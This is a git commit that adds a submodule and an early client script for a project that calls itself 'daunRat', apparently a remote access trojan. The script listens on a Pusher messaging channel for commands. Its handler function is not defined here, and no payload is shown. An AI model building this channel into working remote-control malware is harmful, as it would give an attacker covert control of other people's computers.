added daun submodule

This commit is contained in:
BarsTiger
2022-04-17 18:35:59 +03:00
parent 66746ad00e
commit c3c6762115
3 changed files with 31 additions and 0 deletions

3
.gitmodules vendored Normal file
View File

@@ -0,0 +1,3 @@
[submodule "client/daun"]
path = client/daun
url = https://github.com/BarsTiger/daun

1
client/daun Submodule

Submodule client/daun added at 5b8a0247a4

View File

@@ -1 +1,28 @@
from env import * from env import *
import pusher
import pysher
sender = pusher.Pusher(
app_id=app_id,
key=key,
secret=secret,
cluster=cluster,
ssl=True
)
def connect_handler(*args):
print("Connected to server")
channel = receiver.subscribe('test-doubler-sender')
print("id=", channel)
channel.bind('doubler', on_doubler)
receiver = pysher.Pusher(key=key, cluster=cluster)
if __name__ == '__main__':
print("daunRat by ANONYMUSSSS")
receiver.connection.bind('pusher:connection_established', connect_handler)
receiver.connect()
while True:
pass